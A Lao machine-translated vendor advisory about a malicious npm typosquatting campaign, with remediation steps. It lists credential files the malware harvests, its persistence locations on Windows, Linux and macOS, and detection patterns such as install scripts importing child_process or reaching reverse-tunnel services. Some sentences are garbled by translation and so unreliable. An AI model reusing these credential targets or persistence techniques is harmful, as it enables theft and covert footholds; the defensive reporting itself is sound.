ພວກເຮົາບໍ່ສາມາດຢືນຢັນຕົວຕົນໃນໂລກແຫ່ງຄວາມເປັນຈິງທີ່ຢູ່ເບື້ອງຫຼັງ ລະຫັດຕາຍ09284814 ການຈັດການ, ແລະພວກເຮົາບໍ່ໄດ້ກຳນົດແຄມເປນນີ້ໃຫ້ກັບຜູ້ກໍ່ໄພຂົ່ມຂູ່, ກຸ່ມ, ຫຼືປະເທດໃດໆ. ການສ້າງແບຣນ “phantom” ແມ່ນມີຄວາມສອດຄ່ອງພຽງພໍໃນທົ່ວສິ່ງປະດິດເພື່ອແນະນຳໃຫ້ຜູ້ປະຕິບັດງານດຽວ, ແຕ່ການຂົນສົ່ງແບບຊຸດຂອງໄບນາຣີ C2 ເຮັດໃຫ້ມີໂອກາດທີ່ແພັກເກດໃນອະນາຄົດຈາກການຈັດການທີ່ບໍ່ກ່ຽວຂ້ອງຈະໃຊ້ລະຫັດດຽວກັນຄືນໃໝ່.

ຜົນກະທົບ

ເປົ້າໝາຍທີ່ຖືກຕ້ອງຕາມກົດໝາຍຂອງ squat axios ແລະ ແມ່ແບບດິນສໍ ແມ່ນຂຶ້ນກັບຢ່າງກວ້າງຂວາງໃນລະບົບນິເວດ JavaScript; axios ພຽງແຕ່ຢູ່ໃນບັນດາແພັກເກດ npm ທີ່ມີຜູ້ດາວໂຫຼດຫຼາຍທີ່ສຸດສາມສິບອັນດັບທຳອິດ. ຊື່ typosquat ຫ່າງຈາກຊື່ແທ້ພຽງຄັ້ງດຽວ (ອາກຊອຍaxios, tempalteແມ່ແບບ), ແລະທັງສອງແມ່ນການສະກົດຜິດທີ່ເປັນໄປໄດ້ທາງດ້ານພາສາສາດ.

ພວກເຮົາບໍ່ສາມາດໄດ້ຮັບສະຖິຕິການດາວໂຫຼດທີ່ໜ້າເຊື່ອຖືສຳລັບເວີຊັນທີ່ເປັນອັນຕະລາຍກ່ອນການລຶບອອກໄດ້ — npm ບໍ່ເກັບຮັກສາຈຳນວນການດາວໂຫຼດຕໍ່ເວີຊັນຫຼັງຈາກແພັກເກດຖືກຍົກເລີກການເຜີຍແຜ່, ແລະ npms.ioພຣັອກຊີແບບ -style ມີສຽງດັງໃນລະດັບນີ້. ອົງກອນໃດກໍ່ຕາມທີ່ໄຟລ໌ລັອກຂອງເຂົາເຈົ້າແກ້ໄຂເປັນແພັກເກດທີ່ມີຊື່ວ່າ axois-utils or ເທມພານດິນສໍ ຈາກຜູ້ເຜີຍແຜ່ ລະຫັດຕາຍ09284814 ຄວນໄດ້ຮັບການປະຕິບັດວ່າຖືກລະເມີດ: ໝຸນວຽນທຸກໆຂໍ້ມູນປະຈຳຕົວທີ່ມີຢູ່ໃນ process.env ໃນໂຮດທີ່ໄດ້ຮັບຜົນກະທົບ, ກວດສອບເວັກເຕີຄວາມຄົງຢູ່ຕໍ່ລະບົບປະຕິບັດການ (ເບິ່ງ “ສິ່ງທີ່ຜູ້ປ້ອງກັນຄວນເຮັດ” ຂ້າງລຸ່ມນີ້), ແລະ ລຶບການເພິ່ງພາອາໄສ.

ຮູບແບບທີ່ເກີດຂື້ນ

ແຄມເປນນີ້ເປັນຕົວຢ່າງຂອງການປ່ຽນແປງທີ່ພວກເຮົາໄດ້ເຫັນໃນຫຼາຍໆເຫດການ npm ທີ່ຜ່ານມາ: ການຕິດຕັ້ງແບບຕິດຕະຂໍແມ່ນຊັບສິນທີ່ທົນທານ; ນ້ຳໜັກบรรทุกສາມາດປ່ຽນໄດ້ຜູ້ເຜີຍແຜ່ດຽວກັນ, ຊຸດດຽວກັນ, ຄືກັນ ຕິດຕັ້ງລ່ວງໜ້າ / ການຕິດຕັ້ງ / ຕິດຕັ້ງຫຼັງ ສາມເທົ່າ, ແລະແມ່ນແຕ່ຈັງຫວະການກະທົບກະເທືອນລຸ້ນດຽວກັນ - ສິ່ງດຽວທີ່ປ່ຽນແປງລະຫວ່າງ axois-utils:1.0.6 ແລະ axois-utils:1.0.9 ໄຟລ໌ແມ່ນບໍ? hooks ດໍາເນີນການ. ການກວດສອບໂດຍອີງໃສ່ລາຍເຊັນທີ່ຖືກລະຫັດໃສ່ກັບ payload ໄລຍະ A (ສະຕຣິງເສັ້ນທາງກະເປົາເງິນ, phantom.jsຕົວເກັບກຳ 7,667 ເສັ້ນຂອງ (ເຊີເວີໂອ C2 ໂຮດ) ຈະໄດ້ໝາຍສາມລຸ້ນທຳອິດ ແລະ ພາດໄລຍະ B ໄປທັງໝົດ.

ຮູບແບບດຽວກັນນີ້ສາມາດເຫັນໄດ້ໃນທົ່ວແຄມເປນອື່ນໆໃນປີ 2026 ທີ່ພວກເຮົາໄດ້ຕິດຕາມ: ຜູ້ປະຕິບັດການດຽວທີ່ມີໂຄງສ້າງທີ່ໝັ້ນຄົງ, ການແລກປ່ຽນລະຫວ່າງການລັກຂໍ້ມູນປະຈຳຕົວ, ລູກຄ້າໂກງການສອບເສັງ, Telegram-bot exfil, ແລະດຽວນີ້ການຮັບສະໝັກ DDoS. ຜູ້ປົກປ້ອງທີ່ອາໄສລາຍເຊັນ payload ຈະສືບຕໍ່ເສຍຮອບທີສອງຂອງທຸກໆແຄມເປນ.

ຜົນສະຫຼຸບກໍຄືວ່າ TTP ເວລາຕິດຕັ້ງແມ່ນສັນຍານທີ່ດີກວ່າການປະກາດການຕິດຕັ້ງສາມຄັ້ງ, ຕິດຕັ້ງສະຄຣິບທີ່ນຳເຂົ້າ https or child_process, ຕິດຕັ້ງສະຄຣິບທີ່ຂຽນໄປຫາໂຟນເດີເລີ່ມຕົ້ນຂອງຜູ້ໃຊ້, ແລະຕິດຕັ້ງສະຄຣິບທີ່ແກ້ໄຂຊື່ໂຮດໃນການບໍລິການ reverse-tunnel ຟຣີ (Serveo, localhost.run, ngrok, cloudflared) ລ້ວນແຕ່ຫາຍາກໃນແພັກເກດທີ່ຖືກຕ້ອງຕາມກົດໝາຍ ແລະ ພົບເຫັນທົ່ວໄປໃນແພັກເກດທີ່ເປັນອັນຕະລາຍ.

ສິ່ງທີ່ຜູ້ປົກປ້ອງຄວນເຮັດ

  • ການກວດສອບ Lockfile. ຄົ້ນຫາທຸກໆ package-lock.json / ລັອກເສັ້ນດ້າຍ / pnpm-lock.yaml ໃນອົງກອນຂອງທ່ານສຳລັບສະຕຣິງທີ່ແນ່ນອນ axois-utils ແລະ ເທມພານດິນສໍຖືວ່າການແຂ່ງຂັນໃດໆກໍ່ຕາມເປັນການປະນີປະນອມ.
  • ໝຸນຄວາມລັບ ໃນໂຮດທີ່ໄດ້ຮັບຜົນກະທົບ. ໄລຍະ A ຂໍ້ມູນປະຈຳຕົວ SSH, ຄລາວ, GitHub, npm, ແລະ ກະເປົາເງິນທີ່ເກັບກຳເປັນຈຳນວນຫຼາຍ. ສົມມຸດວ່າຂໍ້ມູນປະຈຳຕົວທຸກຢ່າງທີ່ເຄີຍມີຢູ່ໃນ process.env, ~ / .ssh, ~/.aws, ~/.npmrc, ~ / .config, ຫຼືໃດໆ .env* ໄຟລ໌ໃນໂຮດທີ່ໄດ້ຮັບຜົນກະທົບຖືກເປີດເຜີຍ.
  • ກຳຈັດຄວາມທົນທານ (ໄລຍະ B). ໃນ Windows, ລຶບ HKCU\ຊອບແວ\Microsoft\Windows\CurrentVersion\Run\SystemUpdate, ເອົາອອກ %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\system-update.bat, ແລະ schtasks /delete /tn ອັບເດດລະບົບ /fໃນ Linux, crontab-e ແລະເອົາອອກ @reboot node …, systemctl –ຜູ້ໃຊ້ປິດການໃຊ້ງານ –ດຽວນີ້ phantom-bot.service ຫຼັງຈາກນັ້ນລົບ ~/.config/systemd/user/phantom-bot.service, ຂັດ .bashrc / .zshrc / /etc/rclocalໃນ macOS, launchctl unload ~/Library/LaunchAgents/com.phantom.bot.plist ຈາກນັ້ນລຶບ plist.
  • ບລັອກໂຮສ C2. ຕື່ມຈຸດສິ້ນສຸດ C2 ສີ່ຈຸດໃນຕາຕະລາງ IOC ໃສ່ລາຍຊື່ບລັອກການອອກຂອງທ່ານ. *.serveousercontent.com ແລະ *.lhr.life ສາມາດຖືກບລັອກຂາຍສົ່ງໄດ້ ຖ້າສະພາບແວດລ້ອມຂອງທ່ານບໍ່ມີການນຳໃຊ້ທີ່ຖືກຕ້ອງຕາມກົດໝາຍສຳລັບການບໍລິການອຸໂມງປີ້ນກັບກັນ.
  • ລ່າຕາມເວລາຕິດຕັ້ງ TTP, ບໍ່ແມ່ນນ້ຳໜັກบรรทุก. ລາຍການໄຟລ໌ລັອກສິນຄ້າຄົງຄັງທີ່ມີ ຊຸດ .json ປະກາດ ຕິດຕັ້ງລ່ວງໜ້າ, ການຕິດຕັ້ງ, ແລະ ຕິດຕັ້ງຫຼັງ ທັງໝົດຊີ້ໄປທີ່ສະຄຣິບດຽວກັນ. ກວດສອບອາຍຸຂອງແພັກເກດ ແລະ ສະຖານະການຢືນຢັນຂອງຜູ້ເຜີຍແຜ່. ຮູບແບບນີ້ແມ່ນຫາຍາກໃນແພັກເກດທີ່ຖືກຕ້ອງຕາມກົດໝາຍ ແລະ ເປັນສັນຍານທີ່ໜ້າເຊື່ອຖືທີ່ສຸດທີ່ PhantomBot ນຳໃຊ້ຄືນ.
  • ການກວດສອບສຳລັບໄບນາຣີ C2. ໃຜກໍຕາມທີ່ໄດ້ດາວໂຫຼດ axois-utils:1.0.9 ມີເຊີບເວີ C2 ຂອງຜູ້ປະກອບການ (c2 ເອວຟ໌, sha256 165fa92d…) ໃນແຜ່ນດິດ. ສະແກນແຄດ ແລະ ບ່ອນເກັບມ້ຽນສິ່ງປະດິດ CI. ໄບນາຣີບໍ່ມີການເຄື່ອນໄຫວດ້ວຍຕົວມັນເອງ, ແຕ່ການມີຢູ່ຂອງມັນຢູ່ໃນສະຖານີເຮັດວຽກແມ່ນຫຼັກຖານທີ່ຊັດເຈນວ່າແພັກເກດໄດ້ຖືກຕິດຕັ້ງ.

ເສັ້ນປິດ

ຜູ້ປະຕິບັດການດຽວກັນ, ແພັກເກດດຽວກັນ, ແລະ ການຕິດຕັ້ງດຽວກັນສາມາດສົ່ງໄພຂົ່ມຂູ່ທີ່ແຕກຕ່າງກັນໂດຍສິ້ນເຊີງພາຍໃນ 48 ຊົ່ວໂມງ. ຈົ່ງລະວັງໂຄງສ້າງ, ບໍ່ແມ່ນພາລະ.

ເຄື່ອງມືວິເຄາະອົງປະກອບຊອບແວ SCA
ຈັດລຳດັບຄວາມສຳຄັນ, ແກ້ໄຂ ແລະ ຮັກສາຄວາມສ່ຽງດ້ານຊອບແວຂອງທ່ານໃຫ້ປອດໄພ
ຮັບບັນຊີຟຣີຂອງທ່ານ.
ບໍ່ຕ້ອງມີບັດເຄດິດ.

ຮັບປະກັນການພັດທະນາຊອບແວ ແລະ ການຈັດສົ່ງຂອງທ່ານ

ດ້ວຍຊຸດຜະລິດຕະພັນ Xygeni